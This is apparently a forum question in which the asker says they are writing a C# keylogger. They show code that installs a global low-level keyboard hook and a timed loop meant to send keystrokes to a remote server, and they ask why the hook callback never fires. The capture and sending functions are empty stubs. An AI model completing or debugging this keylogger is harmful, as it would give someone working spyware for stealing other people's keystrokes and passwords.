Low level keyboard hook not being called in .NET application

I am writing a keylogger in C# but am having some trouble getting my hook method called from the keyboard events. My code appears correct but for some reason the callback is not happening.

Here is the relevant code:

[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr SetWindowsHookEx(int idHook, HookProc lpfn, IntPtr hMod, uint dwThreadId);

[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);

[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr GetModuleHandle(string lpModuleName);

private const int WH_KEYBOARD_LL = 13;
private delegate IntPtr HookProc(int nCode, IntPtr wParam, IntPtr lParam);
private static IntPtr HookHandle = IntPtr.Zero;

static void Main()
{
    /* install low level global keyboard hook */
    HookHandle = SetWindowsHookEx(WH_KEYBOARD_LL, HookCallback, GetModuleHandle(null), 0);

    /* every 60 seconds, process collected keystrokes */
    for (;;)
    {
        Thread.Sleep(60000);
        SendKeyData();
    }
}

private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
{
    /* code to handle key events would be here */

    return CallNextHookEx(HookHandle, nCode, wParam, lParam);
}

private static void SendKeyData()
{
    /* code to send accumulated keystroke data to remote server would be here */
}

The SetWindowsHookEx call returns a handle (i.e. not a null) as it should, so it should mean that it is installed, but when I put a breakpoint in HookCallback, it is never reached.

Can anyone please advise what I may be doing wrong?